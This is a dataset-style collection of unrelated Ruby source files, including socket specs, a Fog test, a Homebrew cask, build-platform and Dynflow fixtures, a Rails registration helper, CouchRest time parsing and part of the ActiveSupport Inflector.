expect(Time.now - started_at).to be > 0.5
end
end
it "blocks until gets the next byte" do
allow(logger).to receive(:crash).with("Actor crashed!", Celluloid::TaskTimeout)
with_connected_unix_sockets do |subject, peer|
peer << 0x00
peer.flush
expect do
within_io_actor do
subject.read(1)
Celluloid.timeout(0.5) do
expect(subject.eof?).to be_falsey
end
end
end.to raise_error(Celluloid::TaskTimeout)
end
end
end
end
context "outside Celluloid::IO" do
it "connects to UNIX servers" do
server = ::UNIXServer.new example_unix_sock
thread = Thread.new { server.accept }
socket = Celluloid::IO::UNIXSocket.open example_unix_sock
peer = thread.value
peer << payload
expect(socket.read(payload.size)).to eq payload
server.close
socket.close
peer.close
File.delete example_unix_sock
end
it "should be blocking" do
with_connected_unix_sockets do |subject|
expect(Celluloid::IO).not_to be_evented
end
end
it "reads data" do
with_connected_unix_sockets do |subject, peer|
peer << payload
expect(subject.read(payload.size)).to eq payload
end
end
it "reads partial data" do
with_connected_unix_sockets do |subject, peer|
peer << payload * 2
expect(subject.readpartial(payload.size)).to eq payload
end
end
it "writes data" do
with_connected_unix_sockets do |subject, peer|
subject << payload
expect(peer.read(payload.size)).to eq payload
end
end
end
context 'puts' do
it 'uses the write buffer' do
with_connected_unix_sockets do |subject, peer|
subject.sync = false
subject << "a"
subject.puts "b"
subject << "c"
subject.flush
subject.close
expect(peer.read).to eq "ab\nc"
end
end
end
context 'readline' do
it 'uses the read buffer' do
with_connected_unix_sockets do |subject, peer|
peer << "xline one\nline two\n"
subject.getc # read one character to fill buffer
Timeout::timeout(1){
# this will block if the buffer is not used
expect(subject.readline).to eq "line one\n"
expect(subject.readline).to eq "line two\n"
}
end
end
end
end
| 28.941176 | 101 | 0.631944 |
38aad206a3944f4a81b6b2ced653d18af0dea4cd | 700 | require 'minitest_helper'
describe "#create_network" do
let(:connection) do
VCR.use_cassette('open_connection') do
VCR.use_cassette('get_all_hosts') do
Fog::Compute.new(:provider => 'XenServer',
:xenserver_url => '192.168.10.2',
:xenserver_username => 'root',
:xenserver_password => '123456')
end
end
end
before :each do
@network = connection.networks.new(:name => 'CrazyName')
VCR.use_cassette('create_network') do
@network.save
end
end
it 'should create a new network' do
@network.persisted?.must_equal(true)
@network.name.must_equal('CrazyName')
end
end | 26.923077 | 60 | 0.605714 |
e8b3adf7be26edabaec43f7e6013abc316a29161 | 94 |
##% f: () -> Proc<^(Fixnum,Fixnum),Fixnum>
def f(); Proc.new {|x,y| x+y} end
f.call(2,3)+4
| 13.428571 | 42 | 0.521277 |
61d5f000ed457fd829bb81c125a40dbe8bcdcab7 | 343 | cask "pomotroid" do
version "0.13.0"
sha256 "fab1a8598490db267639609b42312a8947ee2de075164935d0eba60c57790788"
url "https://github.com/Splode/pomotroid/releases/download/v#{version}/pomotroid-#{version}-macos.dmg"
name "Pomotroid"
desc "Timer application"
homepage "https://github.com/Splode/pomotroid"
app "Pomotroid.app"
end
| 28.583333 | 104 | 0.769679 |
399ec8d4a64ef47d7dde9b9f2887ffc25fba7706 | 755 | platform "el-4-x86_64" do |plat|
plat.servicedir "/etc/rc.d/init.d"
plat.defaultdir "/etc/sysconfig"
plat.servicetype "sysv"
plat.tar "/opt/pl-build-tools/bin/tar"
plat.provision_with "echo '[build-tools]\nname=build-tools\ngpgcheck=0\nbaseurl=http://enterprise.delivery.puppetlabs.net/build-tools/el/4/$basearch' > /etc/yum.repos.d/build-tools.repo;echo '[pl-build-tools]\nname=pl-build-tools\ngpgcheck=0\nbaseurl=http://pl-build-tools.delivery.puppetlabs.net/yum/el/4/$basearch' > /etc/yum.repos.d/pl-build-tools.repo;yum install -y autoconf automake createrepo rsync gcc make rpm-build rpm-libs yum-utils pl-tar; yum update -y pkgconfig"
plat.install_build_dependencies_with "yum install -y"
plat.vmpooler_template "centos-4-x86_64"
end
| 68.636364 | 478 | 0.764238 |
9137e0b52002c4508b6505f90688ee9f35347c4b | 10,187 | require File.expand_path('test_helper', File.dirname(__FILE__))
require 'bigdecimal'
require 'test/app_test_methods'
class RubotoGenTest < Test::Unit::TestCase
include AppTestMethods
def setup
generate_app
end
def teardown
cleanup_app
end
def test_gitignore_is_included_in_new_project
Dir.chdir APP_DIR do
assert File.exists? '.gitignore'
end
end
def test_icons_are_updated
Dir.chdir APP_DIR do
assert_equal 3834, File.size('res/drawable-hdpi/ic_launcher.png')
assert_equal 2513, File.size('res/drawable-mdpi/ic_launcher.png')
assert_equal 1689, File.size('res/drawable-ldpi/ic_launcher.png')
end
end
def test_activity_with_number_in_name
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen class Activity --name App1Activity"
assert_equal 0, $?.exitstatus
assert File.exists?('src/org/ruboto/test_app/App1Activity.java')
assert File.exists?('src/app1_activity.rb')
assert File.exists?('test/src/app1_activity_test.rb')
end
run_app_tests
end
def test_gen_class_activity_with_lowercase_should_fail
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen class activity --name VeryNewActivity"
assert_equal 1, $?.exitstatus
assert !File.exists?('src/org/ruboto/test_app/VeryNewActivity.java')
assert !File.exists?('src/very_new_activity.rb')
assert !File.exists?('test/src/very_new_activity_test.rb')
assert File.read('AndroidManifest.xml') !~ /VeryNewActivity/
end
end
# APK was 59.6KB. PLATFORM: CURRENT, ANDROID_TARGET: 10
# APK was 60.2KB. PLATFORM: CURRENT, ANDROID_TARGET: 15
# APK was 74.9KB. PLATFORM: CURRENT, ANDROID_TARGET: 16
# APK was 57.1KB. PLATFORM: FROM_GEM, ANDROID_TARGET: 10
# APK was 7380.0KB. PLATFORM: STANDALONE, ANDROID_TARGET: 15, JRuby: 1.7.0
# APK was 7310.1KB. PLATFORM: STANDALONE, ANDROID_TARGET: 10, JRuby: 1.7.2
# APK was 7337.0KB. PLATFORM: STANDALONE, ANDROID_TARGET: 15, JRuby: 1.7.2
# APK was 7317.4KB. PLATFORM: STANDALONE, ANDROID_TARGET: 15, JRuby: 1.7.3
# APK was 7332.1KB. PLATFORM: STANDALONE, ANDROID_TARGET: 16, JRuby: 1.7.3
# APK was 8428.4KB. PLATFORM: STANDALONE, ANDROID_TARGET: 10, JRuby: 1.7.4
# APK was 7405.8KB. PLATFORM: STANDALONE, ANDROID_TARGET: 15, JRuby: 1.7.4
# APK was 7420.9KB. PLATFORM: STANDALONE, ANDROID_TARGET: 16, JRuby: 1.7.4
# APK was 8755.5KB. PLATFORM: STANDALONE, ANDROID_TARGET: 15, JRuby: 1.7.5
# APK was 8770.2KB. PLATFORM: STANDALONE, ANDROID_TARGET: 16, JRuby: 1.7.5
# APK was 6337.3KB. PLATFORM: STANDALONE, ANDROID_TARGET: 10, JRuby: 9000.dev
# APK was 6556.7KB. PLATFORM: STANDALONE, ANDROID_TARGET: 16, JRuby: 9000.dev
def test_new_apk_size_is_within_limits
apk_size = BigDecimal(File.size("#{APP_DIR}/bin/RubotoTestApp-debug.apk").to_s) / 1024
version = " PLATFORM: #{RUBOTO_PLATFORM}"
version << ", ANDROID_TARGET: #{ANDROID_TARGET}"
if RUBOTO_PLATFORM == 'STANDALONE'
upper_limit = {
'1.7.0' => ANDROID_TARGET < 15 ? 7400.0 : 7600.0,
'1.7.1' => ANDROID_TARGET < 15 ? 7400.0 : 7600.0,
'1.7.2' => 7400.0,
'1.7.3' => 7400.0,
'1.7.4' => 8500.0,
'1.7.5' => 8800.0,
'9000.dev' => 6600.0,
}[JRUBY_JARS_VERSION.to_s] || 6600.0
version << ", JRuby: #{JRUBY_JARS_VERSION.to_s}"
else
upper_limit = {
10 => 60.0,
15 => 62.0,
16 => 75.0,
}[ANDROID_TARGET] || 75.0
end
lower_limit = upper_limit * 0.9
assert apk_size <= upper_limit, "APK was larger than #{'%.1f' % upper_limit}KB: #{'%.1f' % apk_size.ceil(1)}KB.#{version}"
assert apk_size >= lower_limit, "APK was smaller than #{'%.1f' % lower_limit}KB: #{'%.1f' % apk_size.floor(1)}KB. You should lower the limit.#{version}"
end
def test_gen_subclass
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen subclass android.database.sqlite.SQLiteOpenHelper --name MyDatabaseHelper --method_base on"
assert_equal 0, $?.exitstatus
assert File.exists?('src/org/ruboto/test_app/MyDatabaseHelper.java')
assert File.exists?('src/my_database_helper.rb')
assert File.exists?('test/src/my_database_helper_test.rb')
system 'rake debug'
assert_equal 0, $?
end
end
def test_gen_subclass_of_array_adapter
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen subclass android.widget.ArrayAdapter --name RubotoArrayAdapter --method_base all"
assert_equal 0, $?.exitstatus
java_source_file = 'src/org/ruboto/test_app/RubotoArrayAdapter.java'
assert File.exists?(java_source_file)
# FIXME(uwe): Workaround for Ruboto Issue #246
java_source = File.read(java_source_file)
File.open(java_source_file, 'w'){|f| f << java_source.gsub(/^(public class .*ArrayAdapter) (.*ArrayAdapter)/, '\1<T> \2<T>').gsub(/T.class/, 'Object.class')}
# EMXIF
assert File.exists?('src/ruboto_array_adapter.rb')
assert File.exists?('test/src/ruboto_array_adapter_test.rb')
File.open('src/ruboto_test_app_activity.rb', 'w'){|f| f << <<EOF}
require 'ruboto/activity'
require 'ruboto/util/stack'
require 'ruboto/widget'
ruboto_import_widgets :LinearLayout, :ListView, :TextView
class RubotoTestAppActivity
def onCreate(bundle)
super
set_title 'ListView Example'
records = [{:text1 => 'First row'}, {:image => resources.get_drawable($package.R::drawable::get_ruboto_core), :text1 => 'Second row'}, 'Third row']
adapter = $package.RubotoArrayAdapter.new(self, $package.R::layout::list_item, AndroidIds::text1, records)
puts "adapter: \#{adapter.inspect}"
self.content_view =
linear_layout :orientation => :vertical do
@text_view = text_view :text => 'What hath Matz wrought?', :id => 42, :width => :match_parent,
:gravity => :center, :text_size => 48.0
list_view :adapter => adapter, :id => 43,
:on_item_click_listener => proc{|parent, view, position, id| @text_view.text = 'List item clicked!'}
end
end
end
EOF
File.open('test/src/ruboto_test_app_activity_test.rb', 'w'){|f| f << <<EOF}
activity Java::org.ruboto.test_app.RubotoTestAppActivity
setup do |activity|
start = Time.now
loop do
@text_view = activity.findViewById(42)
@list_view = activity.findViewById(43)
break if (@text_view && @list_view && @list_view.adapter) || (Time.now - start > 60)
puts "Waiting for adapter: \#{@list_view && @list_view.adapter.inspect}"
sleep 1
end
assert @text_view
assert @list_view
assert @list_view.adapter
end
test('Item click changes text') do |activity|
text_view = activity.findViewById(42)
list_view = activity.findViewById(43)
list_view.perform_item_click(list_view.adapter.get_view(1, nil, nil), 1, 1)
assert_equal 'List item clicked!', text_view.text
end
EOF
File.open('src/ruboto_array_adapter.rb', 'w'){|f| f << <<EOF}
class Java::AndroidWidget::ArrayAdapter
field_reader :mResource, :mFieldId
end
class RubotoArrayAdapter
import android.content.Context
def getView(position, convert_view, parent)
puts "IN get_view!!!"
@inflater = context.getSystemService(Context::LAYOUT_INFLATER_SERVICE) unless @inflater
if convert_view
row = convert_view
row.findViewById(Ruboto::Id.image).image_drawable = nil
row.findViewById(AndroidIds.text1).text = nil
else
row = @inflater.inflate(mResource, nil)
end
model = get_item position
case model
when Hash
model.each do |field, value|
begin
field_id = Ruboto::Id.respond_to?(field) && Ruboto::Id.send(field) ||
AndroidIds.respond_to?(field) && AndroidIds.send(field)
field_view = row.findViewById(field_id)
case value
when String
field_view.text = value
when android.graphics.drawable.Drawable
field_view.image_drawable = value
else
raise "Unknown View type: \#{value.inspect}"
end
rescue Exception
puts "Exception setting list item value: \#$!"
puts $!.backtrace.join("\n")
end
end
else
row.findViewById(mFieldId).text = model.to_s
end
row
rescue Exception
puts "Exception getting list item view: \#$!"
puts $!.backtrace.join("\n")
convert_view
end
end
EOF
File.open('res/layout/list_item.xml', 'w'){|f| f << <<EOF}
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="horizontal"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:background="#ffffff"
>
<TextView
android:id="@android:id/text1"
android:textAppearance="?android:attr/textAppearanceLarge"
android:gravity="left"
android:layout_weight="1"
android:layout_width="wrap_content"
android:layout_height="?android:attr/listPreferredItemHeight"
android:textColor="#000000"
/>
<ImageView
android:id="@+id/image"
android:gravity="right"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
/>
</LinearLayout>
EOF
end
run_app_tests
end
def test_activity_with_first_letter_lower_case_in_name
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen class Activity --name appActivity"
assert_equal 0, $?.exitstatus
assert File.exists?('src/org/ruboto/test_app/AppActivity.java')
assert File.exists?('src/app_activity.rb')
assert File.exists?('test/src/app_activity_test.rb')
end
end
if RUBOTO_PLATFORM == 'FROM_GEM'
def test_gen_jruby
Dir.chdir APP_DIR do
system "#{RUBOTO_CMD} gen jruby"
assert_equal 0, $?.exitstatus
assert_equal %W(libs/jruby-core-#{JRUBY_JARS_VERSION.to_s.downcase}.jar), Dir['libs/jruby-core-*.jar'].map(&:downcase)
assert_equal %W(libs/jruby-stdlib-#{JRUBY_JARS_VERSION.to_s.downcase}.jar), Dir['libs/jruby-stdlib-*.jar'].map(&:downcase)
end
end
end
end
| 36.252669 | 163 | 0.669284 |
91efa0080e8bd162d791bd7cec9a938f4c1fcd97 | 3,621 | require 'logger'
module Support
module DummyExample
class Dummy < Dynflow::Action
def run; end
end
class SkippableDummy < Dummy
def rescue_strategy_for_self
Dynflow::Action::Rescue::Skip
end
end
class MySerializer < Dynflow::Serializers::Noop
def serialize(arg)
raise 'Enforced serializer failure' if arg == :fail
super arg
end
end
class DummyCustomDelaySerializer < Dynflow::Action
def delay(delay_options, *args)
MySerializer.new(args)
end
def run; end
end
class FailingDummy < Dynflow::Action
def run; raise 'error'; end
end
class Slow < Dynflow::Action
def plan(seconds)
sequence do
plan_self interval: seconds
plan_action Dummy
end
end
def run
sleep input[:interval]
action_logger.debug 'done with sleeping'
$slow_actions_done ||= 0
$slow_actions_done +=1
end
def queue
:slow
end
end
class Polling < Dynflow::Action
include Dynflow::Action::Polling
def invoke_external_task
error! 'Trolling detected' if input[:text] == 'troll setup'
{ progress: 0, done: false }
end
def poll_external_task
if input[:text] == 'troll progress' && !output[:trolled]
output[:trolled] = true
error! 'Trolling detected'
end
if input[:text] =~ /pause in progress (\d+)/
TestPause.pause if external_task[:progress] == $1.to_i
end
progress = external_task[:progress] + 10
{ progress: progress, done: progress >= 100 }
end
def done?
external_task && external_task[:progress] >= 100
end
def poll_interval
0.001
end
def run_progress
external_task && external_task[:progress].to_f / 100
end
end
class WeightedPolling < Dynflow::Action
def plan(input)
sequence do
plan_self(input)
plan_action(Polling, input)
end
end
def run
end
def finalize
$dummy_heavy_progress = 'dummy_heavy_progress'
end
def run_progress_weight
4
end
def finalize_progress_weight
5
end
def humanized_output
"You should #{output['message']}"
end
end
class EventedAction < Dynflow::Action
def run(event = nil)
case event
when "timeout"
output[:event] = 'timeout'
raise "action timeouted"
when nil
suspend do |suspended_action|
if input[:timeout]
world.clock.ping suspended_action, input[:timeout], "timeout"
end
end
else
self.output[:event] = event
end
end
end
class ComposedAction < Dynflow::Action
def run(event = nil)
match event,
(on nil do
sub_plan = world.trigger(Dummy)
output[:sub_plan_id] = sub_plan.id
suspend do |suspended_action|
if input[:timeout]
world.clock.ping suspended_action, input[:timeout], "timeout"
end
sub_plan.finished.on_fulfillment! { suspended_action << 'finish' }
end
end),
(on 'finish' do
output[:event] = 'finish'
end),
(on 'timeout' do
output[:event] = 'timeout'
end)
end
end
end
end
| 22.773585 | 85 | 0.545153 |
61e55ce6a46dd7df8fec50b3acf8ed22f30e9030 | 8,193 | module RegistrationControllerHelper
def org_member_step(registration)
return {
org_member: (registration.data || {})['is_org_member']
}
end
def org_member_review_data(registration)
return {
type: :bool,
value: org_member_step(registration)[:org_member]
}
end
def org_member_step_update(registration, params)
registration.data ||= {}
case params[:button].to_s
when 'yes'
registration.data['is_org_member'] = true
when 'no'
registration.data['is_org_member'] = false
when 'back'
# do nothing
else
raise "Unknown button error"
end
registration.save!
{ status: :complete }
end
def org_non_member_interest_step(registration)
return {
interest: (registration.data || {})['non_member_interest']
}
end
def org_non_member_interest_review_data(registration)
return {
type: :text,
value: (registration.data || {})['non_member_interest']
}
end
def org_non_member_interest_step_update(registration, params)
registration.data ||= {}
registration.data['non_member_interest'] = params[:interest]
registration.save!
return {
status: :complete
}
end
def org_location_step(registration)
city = if (registration.data || {})['city_id'].present?
City.find(registration.data['city_id'])
else
registration.city || registration.user.last_location || City.from_request(request)
end
return {
step_name: (registration.data || {})['is_org_member'] == false ? :your_location : :org_location,
location: city.to_s
}
end
def org_location_review_data(registration)
data = org_location_step(registration)
return {
name: data[:step_name],
value: data[:location],
type: :string
}
end
def org_location_step_update(registration, params)
location = params[:location]
location_name = I18n.transliterate(location.to_s).gsub(/[^\w\s]/, '').gsub(/\s\s+/, ' ').strip.downcase
if location_name.present?
city = City.search(params[:location])
unless city.present?
return {
status: :error,
message: 'city_not_found',
data: { location: params[:location] }
}
end
city_name = I18n.transliterate(city.to_s).gsub(/[^\w\s]/, '').gsub(/\s\s+/, ' ').strip.downcase
if city_name == location_name
if (registration.data || {})['city_id'].present?
# remove this data to clear the confirmation step
registration.data.delete('city_id')
end
registration.city_id = city.id
else
registration.data ||= {}
registration.data['city_id'] = city.id
end
registration.save!
return { status: :complete }
end
{ status: :error, message: 'location_required' }
end
def org_location_confirm_step(registration)
{ city: City.find((registration.data || {})['city_id']) }
end
def org_location_confirm_review_data(registration)
return { type: :none }
end
def org_location_confirm_step_update(registration, params)
if params[:button].to_s == 'yes'
registration.data ||= {}
registration.city_id = registration.data['city_id']
registration.save!
end
{ status: :complete }
end
def org_select_step(registration)
orgs = registration.nearby_organizations
return {
organizations: orgs,
organization: orgs.find { |o| o.host?(registration.user) }
}
end
def org_select_review_data(registration)
org = registration.user.organizations.first
return {
type: :string,
value: org.present? ? org.name : nil
}
end
def org_select_step_update(registration, params)
registration.data ||= {}
if params[:button].to_s == 'create'
registration.data['new_org'] = {}
elsif params[:org_id].present?
org_id = params[:org_id].to_i
registration.data['new_org'] = nil unless (registration.data['new_org'] || {})['id'] == org_id
org = Organization.find(org_id)
raise "Invalid organization" unless org.near_city?(registration.city_id)
UserOrganizationRelationship.delete_all(user_id: registration.user_id)
registration.user.organizations << org
end
registration.save!
return { status: :complete }
end
def org_create_name_step(registration)
{ name: ((registration.data || {})['new_org'] || {})['name'] }
end
def org_create_name_review_data(registration)
return { type: :none }
end
def org_create_name_step_update(registration, params)
if params[:name].to_s.strip.present?
registration.data ||= {}
registration.data['new_org'] ||= {}
registration.data['new_org']['name'] = params[:name].strip
registration.save!
return { status: :complete }
end
return {
status: :error,
message: 'org_name_required'
}
end
def org_create_address_step(registration)
return {
address: ((registration.data || {})['new_org'] || {})['address'],
city: registration.city
}
end
def org_create_address_review_data(registration)
return { type: :none }
end
def org_create_address_step_update(registration, params)
if params[:address].to_s.strip.present?
registration.data ||= {}
registration.data['new_org'] ||= {}
registration.data['new_org']['address'] = params[:address].strip
registration.save!
return { status: :complete }
end
return {
status: :error,
message: 'address_required'
}
end
def org_create_email_step(registration)
{ email: ((registration.data || {})['new_org'] || {})['email'] }
end
def org_create_email_review_data(registration)
return { type: :none }
end
def org_create_email_step_update(registration, params)
if params[:email].to_s =~ /^.+\@.+\..+$/
if params[:email].strip.downcase == registration.user.email.downcase
return { status: :error, message: 'org_email_matches_personal_email' }
end
registration.data ||= {}
registration.data['new_org'] ||= {}
registration.data['new_org']['email'] = params[:email].strip
registration.save!
return { status: :complete }
end
{ status: :error, message: 'email_required' }
end
def org_create_mailing_address_step(registration)
address = ((registration.data || {})['new_org'] || {})['mailing_address']
if address.nil? && ((registration.data || {})['new_org'] || {})['address'].present? && (location = Location.from_city_address(registration.data['new_org']['address'], registration.city)).present?
address = location.mailing_address
end
return { address: address }
end
def org_create_mailing_address_review_data(registration)
return { type: :none }
end
def org_create_mailing_address_step_update(registration, params)
if params[:mailing_address].to_s.strip.present?
registration.data ||= {}
registration.data['new_org'] ||= {}
registration.data['new_org']['mailing_address'] = params[:mailing_address].strip
is_new = !registration.data['new_org']['id'].present?
org = if is_new
Organization.new
else
Organization.find(registration.data['new_org']['id'])
end
org.name = registration.data['new_org']['name']
org.email_address = registration.data['new_org']['email']
org.mailing_address = registration.data['new_org']['mailing_address']
org.save!
if is_new
location = Location.create(street: registration.data['new_org']['address'], city_id: registration.city_id)
LocationsOrganization.create(location_id: location.id, organization_id: org.id)
else
location = org.locations.first
location.street = registration.data['new_org']['address']
location.city_id = registration.city_id
location.save!
end
org.add_user(registration.user_id)
registration.data['new_org']['id'] = org.id
registration.save!
return { status: :complete }
end
{ status: :error, message: 'mailing_address_required' }
end
end
| 29.577617 | 199 | 0.646894 |
ace4c2cfa414b7dcb6077503db6d845f11e35d14 | 2,442 | module CouchRest
module Model
module CoreExtensions
module TimeParsing
# Attemtps to parse a time string in ISO8601 format.
# If no match is found, the standard time parse will be used.
#
# Times, unless provided with a time zone, are assumed to be in
# UTC.
#
# Uses String#to_r on seconds portion to avoid rounding errors. Eg:
# Time.parse_iso8601("2014-12-11T16:54:54.549Z").as_json
# => "2014-12-11T16:54:54.548Z"
#
# See: https://bugs.ruby-lang.org/issues/7829
#
def parse_iso8601(string)
if (string =~ /(\d{4})[\-|\/](\d{2})[\-|\/](\d{2})[T|\s](\d{2}):(\d{2}):(\d{2}(\.\d+)?)(Z| ?([\+|\s|\-])?(\d{2}):?(\d{2}))?/)
# $1 = year
# $2 = month
# $3 = day
# $4 = hours
# $5 = minutes
# $6 = seconds (with $7 for fraction)
# $8 = UTC or Timezone
# $9 = time zone direction
# $10 = tz difference hours
# $11 = tz difference minutes
if $8 == 'Z' || $8.to_s.empty?
utc($1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_r)
else
new($1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_r, "#{$9 == '-' ? '-' : '+'}#{$10}:#{$11}")
end
else
parse(string)
end
end
end
end
end
end
Time.class_eval do
extend CouchRest::Model::CoreExtensions::TimeParsing
# Override the ActiveSupport's Time#as_json method to ensure that we *always* encode
# using the iso8601 format and include fractional digits (3 by default).
#
# Including miliseconds in Time is very important for CouchDB to ensure that order
# is preserved between models created in the same second.
#
# The number of fraction digits can be set by providing it in the options:
#
# time.as_json(:fraction_digits => 6)
#
# The CouchRest Model +time_fraction_digits+ configuration option is used for the
# default fraction. Given the global nature of Time#as_json method, this configuration
# option can only be set for the whole project.
#
# CouchRest::Model::Base.time_fraction_digits = 6
#
def as_json(options = {})
digits = options ? options[:fraction_digits] : nil
fraction = digits || CouchRest::Model::Base.time_fraction_digits
xmlschema(fraction)
end
end
| 31.714286 | 135 | 0.564701 |
18ba79a8f96e3cf3769be2df010a6202a41d108e | 14,417 | # encoding: utf-8
require 'active_support/inflections'
module ActiveSupport
# The Inflector transforms words from singular to plural, class names to table
# names, modularized class names to ones without, and class names to foreign
# keys. The default inflections for pluralization, singularization, and
# uncountable words are kept in inflections.rb.
#
# The Rails core team has stated patches for the inflections library will not
# be accepted in order to avoid breaking legacy applications which may be
# relying on errant inflections. If you discover an incorrect inflection and
# require it for your application or wish to define rules for languages other
# than English, please correct or add them yourself (explained below).
module Inflector
extend self
# Returns the plural form of the word in the string.
#
# If passed an optional +locale+ parameter, the word will be
# pluralized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
# 'post'.pluralize # => "posts"
# 'octopus'.pluralize # => "octopi"
# 'sheep'.pluralize # => "sheep"
# 'words'.pluralize # => "words"
# 'CamelOctopus'.pluralize # => "CamelOctopi"
# 'ley'.pluralize(:es) # => "leyes"
def pluralize(word, locale = :en)
apply_inflections(word, inflections(locale).plurals)
end
# The reverse of +pluralize+, returns the singular form of a word in a
# string.
#
# If passed an optional +locale+ parameter, the word will be
# singularized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
# 'posts'.singularize # => "post"
# 'octopi'.singularize # => "octopus"
# 'sheep'.singularize # => "sheep"
# 'word'.singularize # => "word"
# 'CamelOctopi'.singularize # => "CamelOctopus"
# 'leyes'.singularize(:es) # => "ley"
def singularize(word, locale = :en)
apply_inflections(word, inflections(locale).singulars)
end
# By default, +camelize+ converts strings to UpperCamelCase. If the argument
# to +camelize+ is set to <tt>:lower</tt> then +camelize+ produces
# lowerCamelCase.
#
# +camelize+ will also convert '/' to '::' which is useful for converting
# paths to namespaces.
#
# 'active_model'.camelize # => "ActiveModel"
# 'active_model'.camelize(:lower) # => "activeModel"
# 'active_model/errors'.camelize # => "ActiveModel::Errors"
# 'active_model/errors'.camelize(:lower) # => "activeModel::Errors"
#
# As a rule of thumb you can think of +camelize+ as the inverse of
# +underscore+, though there are cases where that does not hold:
#
# 'SSLError'.underscore.camelize # => "SslError"
def camelize(term, uppercase_first_letter = true)
string = term.to_s
if uppercase_first_letter
string = string.sub(/^[a-z\d]*/) { inflections.acronyms[$&] || $&.capitalize }
else
string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
end
string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
string.gsub!('/', '::')
string
end
# Makes an underscored, lowercase form from the expression in the string.
#
# Changes '::' to '/' to convert namespaces to paths.
#
# 'ActiveModel'.underscore # => "active_model"
# 'ActiveModel::Errors'.underscore # => "active_model/errors"
#
# As a rule of thumb you can think of +underscore+ as the inverse of
# +camelize+, though there are cases where that does not hold:
#
# 'SSLError'.underscore.camelize # => "SslError"
def underscore(camel_cased_word)
return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/
word = camel_cased_word.to_s.gsub('::', '/')
word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
word.tr!("-", "_")
word.downcase!
word
end
# Tweaks an attribute name for display to end users.
#
# Specifically, +humanize+ performs these transformations:
#
# * Applies human inflection rules to the argument.
# * Deletes leading underscores, if any.
# * Removes a "_id" suffix if present.
# * Replaces underscores with spaces, if any.
# * Downcases all words except acronyms.
# * Capitalizes the first word.
#
# The capitalization of the first word can be turned off by setting the
# +:capitalize+ option to false (default is true).
#
# humanize('employee_salary') # => "Employee salary"
# humanize('author_id') # => "Author"
# humanize('author_id', capitalize: false) # => "author"
# humanize('_id') # => "Id"
#
# If "SSL" was defined to be an acronym:
#
# humanize('ssl_error') # => "SSL error"
#
def humanize(lower_case_and_underscored_word, options = {})
result = lower_case_and_underscored_word.to_s.dup
inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
result.sub!(/\A_+/, '')
result.sub!(/_id\z/, '')
result.tr!('_', ' ')
result.gsub!(/([a-z\d]*)/i) do |match|
"#{inflections.acronyms[match] || match.downcase}"
end
if options.fetch(:capitalize, true)
result.sub!(/\A\w/) { |match| match.upcase }
end
result
end
# Capitalizes all the words and replaces some characters in the string to
# create a nicer looking title. +titleize+ is meant for creating pretty
# output. It is not used in the Rails internals.
#
# +titleize+ is also aliased as +titlecase+.
#
# 'man from the boondocks'.titleize # => "Man From The Boondocks"
# 'x-men: the last stand'.titleize # => "X Men: The Last Stand"
# 'TheManWithoutAPast'.titleize # => "The Man Without A Past"
# 'raiders_of_the_lost_ark'.titleize # => "Raiders Of The Lost Ark"
def titleize(word)
humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { $&.capitalize }
end
# Create the name of a table like Rails does for models to table names. This
# method uses the +pluralize+ method on the last word in the string.
#
# 'RawScaledScorer'.tableize # => "raw_scaled_scorers"
# 'egg_and_ham'.tableize # => "egg_and_hams"
# 'fancyCategory'.tableize # => "fancy_categories"
def tableize(class_name)
pluralize(underscore(class_name))
end
# Create a class name from a plural table name like Rails does for table
# names to models. Note that this returns a string and not a Class (To
# convert to an actual class follow +classify+ with +constantize+).
#
# 'egg_and_hams'.classify # => "EggAndHam"
# 'posts'.classify # => "Post"
#
# Singular names are not handled correctly:
#
# 'calculus'.classify # => "Calculu"
def classify(table_name)
# strip out any leading schema name
camelize(singularize(table_name.to_s.sub(/.*\./, '')))
end
# Replaces underscores with dashes in the string.
#
# 'puni_puni'.dasherize # => "puni-puni"
def dasherize(underscored_word)
underscored_word.tr('_', '-')
end
# Removes the module part from the expression in the string.
#
# 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
# 'Inflections'.demodulize # => "Inflections"
# '::Inflections'.demodulize # => "Inflections"
# ''.demodulize # => ""
#
# See also +deconstantize+.
def demodulize(path)
path = path.to_s
if i = path.rindex('::')
path[(i+2)..-1]
else
path
end
end
# Removes the rightmost segment from the constant expression in the string.
#
# 'Net::HTTP'.deconstantize # => "Net"
# '::Net::HTTP'.deconstantize # => "::Net"
# 'String'.deconstantize # => ""
# '::String'.deconstantize # => ""
# ''.deconstantize # => ""
#
# See also +demodulize+.
def deconstantize(path)
path.to_s[0, path.rindex('::') || 0] # implementation based on the one in facets' Module#spacename
end
# Creates a foreign key name from a class name.
# +separate_class_name_and_id_with_underscore+ sets whether
# the method should put '_' between the name and 'id'.
#
# 'Message'.foreign_key # => "message_id"
# 'Message'.foreign_key(false) # => "messageid"
# 'Admin::Post'.foreign_key # => "post_id"
def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
end
# Tries to find a constant with the name specified in the argument string.
#
# 'Module'.constantize # => Module
# 'Test::Unit'.constantize # => Test::Unit
#
